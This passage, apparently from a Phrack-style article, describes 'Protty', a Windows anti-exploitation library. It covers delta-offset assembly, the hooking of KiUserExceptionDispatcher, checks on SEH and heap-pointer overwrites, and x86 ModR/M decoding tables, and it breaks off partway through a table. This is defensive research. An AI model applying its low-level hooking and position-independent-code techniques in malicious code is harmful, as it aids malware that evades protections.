"delta handling". Before start of the mechanism Protty allocates memory
at random location and copy its body there, and there it is executed.
What is delta handling? Lets take a look at the following code:
;----------SNIP--------------------------------------------
call delta ; put delta label offset on the
; stack
delta: pop ebp ; ebp=now delta offset
sub ebp offset delta ; now sub the linking value of
; "delta"
;----------SNIP--------------------------------------------
As you can see delta handle is a numeric value which helps you with
addressing variables/etc. especially when your code do not lay in native
location.
Delta handling is very common technique used by computer viruses. Here is
a little pseudo code which shows how to use delta handling with
addressing:
;----------SNIP--------------------------------------------
;ebp=delta handle
mov eax,dword ptr [ebp+variable1]
lea ebx,[ebp+variable2]
;----------SNIP--------------------------------------------
Of course any register (not only EBP) can be used :)
The position independent code was done to avoid easy disabling/patching by
the shellcode itself.
-------------------------------------------------------------------------
|Description of mechanism implemented in Protty1 (P1)|
-------------------------------------------------------------------------
NOTE: That all features written here were described above.
You can find complete descriptions there (or links to them).
Mechanism takeovers the control of KiUserExceptionDispatcher API (exported
by NTDLL.DLL) and that's where the main mechanism is implemented. From
that point every exception (caused by program) is being filtered by
our library. To be const-stricto, used mechanism only filters all Access
Violations exceptions. When such event occurs Protty first checks if the
active SEH (Structured Exception Handler) frame points to good location
(not writeable) if the result is ok it continues testing, otherwise it
terminates the application. After SEH frame checking, library checks the
address where violation came from, if its bad (writeable) the program
is terminated. Then it is doing the same with pointer to Unhandled
Exception Filter. Next it checks if pointer to RtlEnterCriticalSection
was changed (very common and useful technique for exploiting windows based
heap overflows) and kills the application if it was (of course the pointer
to RtlEnterCriticalSection is being reset in the termination procedure).
If application wasn't signed as BAD and terminated so far, mechanism must
check if violation was caused by reference to our protected memory
regions, if not it just returns execution to original handler.
Otherwise it checks if memory which caused the exception is stored
somewhere on the stack or is writeable. If it is, program is terminated.
When the reference to protected memory comes from GOOD location, mechanism
resets protection of needed region and emulates the instruction which
caused access violation exception (im using z0mbie's LDE32 to determine
instruction length), after the emulation, library marks requested region
with PAGE_NOACCESS again and continues program execution. That's all -
for more information check the source codes attached and test it in
action. (Take a look at the "catched shellcodes" written in next section)
In the time of last add-ons for the article, Phrack stuff noticed me that
single stepping will be more good solution. I must confess it really can
do its job in more fast way. I mark it as TODO.
Few words about the emulation used in P1:
----------------------------------------
Generally I have two ways of doing it. You already know one. I'm going to
describe another one now.
Instead of placing jump after instruction that caused the access violation
exception I could emulate it locally, it's generally more slower/faster
more weird (?), who cares (?) but it should work also. Here is the short
description of what have to be done:
(optional algorithm replacement for second description written below)
STEP 1 - Get instruction length, copy the instruction to local buffer
STEP 2 - Deprotect needed region
STEP 3 - Change the contexts, of course leave the EIP alone :)) save
the old context somewhere
STEP 4 - Emulate the instruction
STEP 5 - Update the "target" context, reset old context
STEP 6 - Protect all regions again
STEP 7 - continue program execution by NtContinue() function
And here is the more detailed description of currently used
instruction emulation mechanism in Protty:
STEP 1 - Deprotect needed region
STEP 2 - Get instruction length
STEP 3 - Make the location (placed after instruction) writeable
STEP 4 - Save 7 bytes from there
STEP 5 - Patch it with jump
STEP 6 - use NtContinue() to continue the execution, after executing
the first instruction, second one (placed jump) returns
the execution to Protty.
STEP 7 - Reset old 7 bytes to original location (un-hooking)
STEP 8 - Mark the location (placed after instruction) as
PAGE_EXECUTE_READ (not writeable)
STEP 9 - Protect all regions again, return to "host"
-------------------------------------------------------------------------
|Description of mechanism implemented in Protty2 (P2)|
-------------------------------------------------------------------------
The newer version of Protty library (P2) also resides in
KiUserExceptionDispatcher,where it filters all exceptions like the
previous version did. So the method of SEH/UEF protection is the same as
described in Protty1. What is the main difference? Main difference is that
current mechanism do not emulate instruction and do not deprotect regions.
It works in completely different way. When some instruction (assume it is
GOOD - stored in not writeable location) tries to access protected region
it causes access violation. Why so? Because if you remember the ascii
schemas most of them point to DECOY (which is not accessible memory) or
to a minus memory location (invalid one). This causes an exception,
normally as described earlier the mechanism should de-prot the locations
and emulate the intruction, but not in this case. Here we are checking
what registers were used by the instruction which caused fault, and then
by scanning them we are checking if any of them points somewhere inside
"DECOYS" offsets.
How the mechanism know whats registers are used by instruction!?
----------------------------------------------------------------
To understand how the prevention mechanism works, the reader should
know about so called "opcode decoding", this !IS NOT! the full tutorial
but it describes the main things reader should know (for more check
www.intel.com or [8]). I would also like to thank Satish K.S for
supporting me with great information which helped me to make the
"tutorial" suitable for human beings (chEERs ricy! :))
The instructions from Intel Architecture are encoded by using subsets of
the general machine instruction format, like here:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A A A * * * A A
A 7 6 5 4 3 2 1 0 A 7 6 5 4 3 2 1 0 A 7 6 5 4 3 2 1 0 A 7 6 5 4 3 2 1 0 A
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAA AAAAAAAAAAAAAAA
A A A
A A A
Opcode ModR/M Byte SIB Byte
1 or 2 Bytes
Each instruction consists of an Opcode, a Register and/or Address mode
specifier (if required) consisting of the ModR/M byte and sometimes the
scale -index-base (SIB) byte, a displacement (if required), and an
immediate data field (if required).
Z0mbies ADE32 engine can disassembly every instruction and return the
DISASM structure which provides information useful for us.
Here is the structure:
struct disasm_struct
{
IN OUT BYTE disasm_defaddr; -- specify 4 for 32-bit code
IN OUT BYTE disasm_defdata; -- specify 4 for 32-bit code
OUT DWORD disasm_len; -- total length of opcode or 0
OUT DWORD disasm_flag; -- bitset of C_xxx
OUT DWORD disasm_addrsize; -- size of address (or 0 if no addr)
OUT DWORD disasm_datasize; -- size of data (or 0 if no data)
OUT BYTE disasm_rep; -- REP prefix value (if C_REP)
OUT BYTE disasm_seg; -- SEG prefix value (if C_SEG)
OUT BYTE disasm_opcode; -- opcode value (present if no error)
OUT BYTE disasm_opcode2; -- 2nd opcode value (if C_OPCODE2)
OUT BYTE disasm_modrm; -- MODRM value (if C_MODRM)
OUT BYTE disasm_sib; -- SIB value (if C_SIB)
OUT BYTE disasm_addr[8]; -- address (if disasm_addrsize!=0)
OUT BYTE disasm_data[8]; -- data (if disasm_datasize!=0)
};
To get the registers used by the instruction, we need to check the
disasm_modrm value. Of course there are few exceptions like one-bytes
intructions (no ModR/M) like "lodsb/lodsw/stosb" etc.etc. Protty2 is doing
manual check for them. Sometimes encoding of the ModR/M requires a SIB
byte to fully specify the addressing form. The base+index and scale+index
forms of a 32bit addressing require the SIB byte. This, due to lack of
free time, wasn't implemented in P2, however when the mechanism cannot find
the "registers used" it does some brute-scan and check all registers in
host context (this should cover most of the unknown-cases).
But lets go back to ModR/M-s:
Lets imagine we are disassembling following instruction:
- MOV EAX,DWORD PTR DS:[EBX]
The value returned in disasm_modrm is equal to 03h. By knowing this the
library checks following table (look for 03):
(32-Bit Addressing Forms with the ModR/M Byte Translated Table)
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A ModR/M Byte A Src/Dst, Src/Dst Operand
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 00 A [EAX], EAX/AX/AL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 01 A [ECX], EAX/AX/AL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 02 A [EDX], EAX/AX/AL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 03 A [EBX], EAX/AX/AL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 04 A [--][--], EAX/AX/AL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 05 A [disp32], EAX/AX/AL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 06 A [ESI], EAX/AX/AL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 07 A [EDI], EAX/AX/AL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 08 A [EAX], ECX/CX/CL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 09 A [ECX], ECX/CX/CL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 0A A [EDX], ECX/CX/CL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 0B A [EBX], ECX/CX/CL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 0C A [--][--], ECX/CX/CL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 0D A [disp32], ECX/CX/CL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 0E A [ESI], ECX/CX/CL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 0F A [EDI], ECX/CX/CL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 10 A [EAX], EDX/DX/DL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 11 A [ECX], EDX/DX/DL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 12 A [EDX], EDX/DX/DL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 13 A [EBX], EDX/DX/DL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 14 A [--][--], EDX/DX/DL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 15 A [disp32], EDX/DX/DL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 16 A [ESI], EDX/DX/DL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 17 A [EDI], EDX/DX/DL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 18 A [EAX], EBX/BX/BL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 19 A [ECX], EBX/BX/BL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 1A A [EDX], EBX/BX/BL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 1B A [EBX], EBX/BX/BL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 1C A [--][--], EBX/BX/BL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 1D A [disp32], EBX/BX/BL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 1E A [ESI], EBX/BX/BL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 1F A [EDI], EBX/BX/BL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 20 A [EAX], ESP/SP/AH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 21 A [ECX], ESP/SP/AH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 22 A [EDX], ESP/SP/AH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 23 A [EBX], ESP/SP/AH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 24 A [--][--], ESP/SP/AH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 25 A [disp32], ESP/SP/AH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 26 A [ESI], ESP/SP/AH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 27 A [EDI], ESP/SP/AH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 28 A [EAX], EBP/BP/CH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 29 A [ECX], EBP/BP/CH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 2A A [EDX], EBP/BP/CH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 2B A [EBX], EBP/BP/CH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 2C A [--][--], EBP/BP/CH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 2D A [disp32], EBP/BP/CH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 2E A [ESI], EBP/BP/CH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 2F A [EDI], EBP/BP/CH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 30 A [EAX], ESI/SI/DH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 31 A [ECX], ESI/SI/DH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 32 A [EDX], ESI/SI/DH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 33 A [EBX], ESI/SI/DH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 34 A [--][--], ESI/SI/DH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 35 A [disp32], ESI/SI/DH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 36 A [ESI], ESI/SI/DH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 37 A [EDI], ESI/SI/DH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 38 A [EAX], EDI/DI/BH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 39 A [ECX], EDI/DI/BH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 3A A [EDX], EDI/DI/BH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 3B A [EBX], EDI/DI/BH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 3C A [--][--], EDI/DI/BH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 3D A [disp32], EDI/DI/BH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 3E A [ESI], EDI/DI/BH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 3F A [EDI], EDI/DI/BH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 40 A [disp8+EAX], EAX/AX/AL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 41 A [disp8+ECX], EAX/AX/AL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 42 A [disp8+EDX], EAX/AX/AL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 43 A [disp8+EBX], EAX/AX/AL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 44 A [disp8+[--][--]], EAX/AX/AL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 45 A [disp8+EBP], EAX/AX/AL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 46 A [disp8+ESI], EAX/AX/AL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 47 A [disp8+EDI], EAX/AX/AL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 48 A [disp8+EAX], ECX/CX/CL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 49 A [disp8+ECX], ECX/CX/CL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 4A A [disp8+EDX], ECX/CX/CL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 4B A [disp8+EBX], ECX/CX/CL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 4C A [disp8+[--][--]], ECX/CX/CL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 4D A [disp8+EBP], ECX/CX/CL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 4E A [disp8+ESI], ECX/CX/CL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 4F A [disp8+EDI], ECX/CX/CL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 50 A [disp8+EAX], EDX/DX/DL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 51 A [disp8+ECX], EDX/DX/DL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 52 A [disp8+EDX], EDX/DX/DL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 53 A [disp8+EBX], EDX/DX/DL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 54 A [disp8+[--][--]], EDX/DX/DL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 55 A [disp8+EBP], EDX/DX/DL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 56 A [disp8+ESI], EDX/DX/DL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 57 A [disp8+EDI], EDX/DX/DL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 58 A [disp8+EAX], EBX/BX/BL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 59 A [disp8+ECX], EBX/BX/BL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 5A A [disp8+EDX], EBX/BX/BL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 5B A [disp8+EBX], EBX/BX/BL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 5C A [disp8+[--][--]], EBX/BX/BL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 5D A [disp8+EBP], EBX/BX/BL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 5E A [disp8+ESI], EBX/BX/BL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 5F A [disp8+EDI], EBX/BX/BL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 60 A [disp8+EAX], ESP/SP/AH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 61 A [disp8+ECX], ESP/SP/AH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 62 A [disp8+EDX], ESP/SP/AH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 63 A [disp8+EBX], ESP/SP/AH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 64 A [disp8+[--][--]], ESP/SP/AH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 65 A [disp8+EBP], ESP/SP/AH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 66 A [disp8+ESI], ESP/SP/AH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 67 A [disp8+EDI], ESP/SP/AH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 68 A [disp8+EAX], EBP/BP/CH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 69 A [disp8+ECX], EBP/BP/CH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 6A A [disp8+EDX], EBP/BP/CH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 6B A [disp8+EBX], EBP/BP/CH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 6C A [disp8+[--][--]], EBP/BP/CH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 6D A [disp8+EBP], EBP/BP/CH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 6E A [disp8+ESI], EBP/BP/CH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 6F A [disp8+EDI], EBP/BP/CH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 70 A [disp8+EAX], ESI/SI/DH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 71 A [disp8+ECX], ESI/SI/DH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 72 A [disp8+EDX], ESI/SI/DH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 73 A [disp8+EBX], ESI/SI/DH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 74 A [disp8+[--][--]], ESI/SI/DH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 75 A [disp8+EBP], ESI/SI/DH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 76 A [disp8+ESI], ESI/SI/DH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 77 A [disp8+EDI], ESI/SI/DH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 78 A [disp8+EAX], EDI/DI/BH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 79 A [disp8+ECX], EDI/DI/BH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 7A A [disp8+EDX], EDI/DI/BH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 7B A [disp8+EBX], EDI/DI/BH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 7C A [disp8+[--][--]], EDI/DI/BH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 7D A [disp8+EBP], EDI/DI/BH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 7E A [disp8+ESI], EDI/DI/BH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 7F A [disp8+EDI], EDI/DI/BH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 80 A [disp32+EAX], EAX/AX/AL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 81 A [disp32+ECX], EAX/AX/AL
